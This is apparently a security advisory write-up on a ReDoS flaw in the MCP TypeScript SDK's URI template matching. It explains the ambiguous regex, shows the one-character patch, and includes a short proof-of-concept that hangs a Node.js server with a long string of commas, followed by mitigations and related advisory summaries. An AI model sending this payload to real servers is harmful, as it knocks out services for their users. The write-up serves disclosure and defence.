Feb 25, 2026·6 min read·53 visits
The Anthropic MCP TypeScript SDK failed to properly sanitize regex generation for 'exploded' URI templates. Attackers can send a string of commas to a vulnerable server, triggering an exponential regex calculation that hangs the Node.js event loop indefinitely. Fixed in version 1.25.2.
A high-severity Regular Expression Denial of Service (ReDoS) vulnerability exists in the Anthropic Model Context Protocol (MCP) TypeScript SDK. By crafting specific URI patterns containing 'exploded' array variables, an attacker can trigger catastrophic backtracking in the `UriTemplate` class. This vulnerability exploits the single-threaded nature of Node.js, allowing a single malicious request to peg the CPU at 100% and deny service to all other users.
The Model Context Protocol (MCP) is the new shiny standard for connecting AI models to data sources. It’s the plumbing that lets an LLM read your git repo or query your database. Naturally, because it's 2026, we’re writing the SDKs in TypeScript. And where there is TypeScript, there is Node.js. And where there is Node.js, there is the ever-looming threat of the single-threaded event loop being held hostage by a bad regular expression.
CVE-2026-0621 isn't a complex memory corruption bug or a buffer overflow. It’s a classic logic error in how the SDK parses URIs. Specifically, the UriTemplate class—responsible for routing requests to resources—has a fatal flaw in how it handles "exploded" variables (like {/id*}).
Why does this matter? Because MCP servers are often public-facing or internal-critical gateways. If you can kill the gateway, you blind the AI. It's effectively a "kill switch" for any agentic workflow relying on this SDK, accessible via a single, unauthenticated HTTP request.
The root cause lies in src/shared/uriTemplate.ts. The developers needed to support RFC 6570 "exploded" path expansion. This is where a template like {/ids*} turns a list ['a', 'b'] into /a,b. To match incoming URIs against these templates, the SDK dynamically generates a Regular Expression.
Here is the logic they used for an exploded path segment:
// The code asks: "Match anything that isn't a slash,
// followed by optional groups of (comma + anything that isn't a slash)"
pattern = part.exploded ? '([^/]+(?:,[^/]+)*)' : '([^/,]+)';Do you see the ambiguity? The definition of "anything that isn't a slash" ([^/]) includes the comma (,).
The regex structure is effectively (A+(BA+)*) where A overlaps with B. When the regex engine sees a string of commas like ,,,,,,, it panics. It doesn't know if a specific comma should be consumed by the initial [^/]+ or by the subsequent (?:,[^/]+)* group. Because regex engines are eager to please, they try every possible combination of assignments. This is catastrophic backtracking, leading to exponential execution time ($O(2^n)$).
It is rare that a high-severity denial of service is fixed by adding a single character to a character class, but here we are. The fix involves explicitly telling the regex engine that the "content" part of the group cannot contain the "separator" (the comma).
Here is the breakdown of the patch in src/shared/uriTemplate.ts:
switch (part.operator) {
case '':
// The character class [^/] implicitly allows commas
pattern = part.exploded ? '([^/]+(?:,[^/]+)*)' : '([^/,]+)';
break;switch (part.operator) {
case '':
// The character class [^/,] explicitly forbids commas
pattern = part.exploded ? '([^/,]+(?:,[^/,]+)*)' : '([^/,]+)';
break;By changing [^/]+ to [^/,]+, the two parts of the regex become mutually exclusive. A comma can only be matched by the literal comma separator in the second group, never by the character class in the first group. This forces the regex engine into a linear match ($O(n)$), saving the CPU from melting.
Exploiting this is trivially easy and requires no authentication if the MCP server exposes a resource using exploded templates. The attacker just needs to send a URI path that looks like a valid resource but contains a massive chain of commas, followed by a character that forces the regex to backtrack when it hits the end of the string.
Here is the attack flow:
const { UriTemplate } = require('@modelcontextprotocol/sdk');
// 1. Target a template with an exploded variable
const template = new UriTemplate('{/id*}');
// 2. Construct the payload
// 50 commas is usually enough to cause a noticeable lag.
// 3000 commas will hang the process for eternity.
const payload = '/' + ','.repeat(5000) + '!';
console.log("Starting match...");
const start = process.hrtime();
// 3. Trigger the hang
template.match(payload);
const end = process.hrtime(start);
console.log(`Matched in ${end[0]}s ${end[1] / 1000000}ms`);In a real-world scenario, you would send this payload to an endpoint like POST /mcp/rpc where the server attempts to route the request URI against its known schemas.
Node.js developers often fall into the trap of thinking, "My code is async, so blocking operations won't hurt me." Wrong. Regular expression matching in V8 (the JavaScript engine) is synchronous and runs on the main thread.
When this exploit triggers, the main thread enters a tight loop inside the C++ regex engine. While it is calculating the $2^{5000}$ ways to parse your commas:
setTimeout and setInterval are frozen.For an MCP server designed to be a high-availability bridge for AI agents, this is a total service collapse.
The fix is straightforward, but for those who cannot upgrade immediately, mitigation is tricky.
@modelcontextprotocol/sdk to version 1.25.2. This version contains the patch commit b392f02./{,}{10,}/). However, be careful not to block legitimate CSV-style data usage if your API supports it.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@modelcontextprotocol/sdk Anthropic | <= 1.25.1 | 1.25.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1333 |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 | 8.7 (High) |
| CVSS v3.1 | 7.5 (High) |
| Impact | High Availability (DoS) |
| Exploit Status | PoC Available |
| EPSS Score | 0.00022 |
The software uses a regular expression that can take a very large amount of time to evaluate specific input strings, leading to a Denial of Service.
A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.
AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.
A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.
CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.
CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.
CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.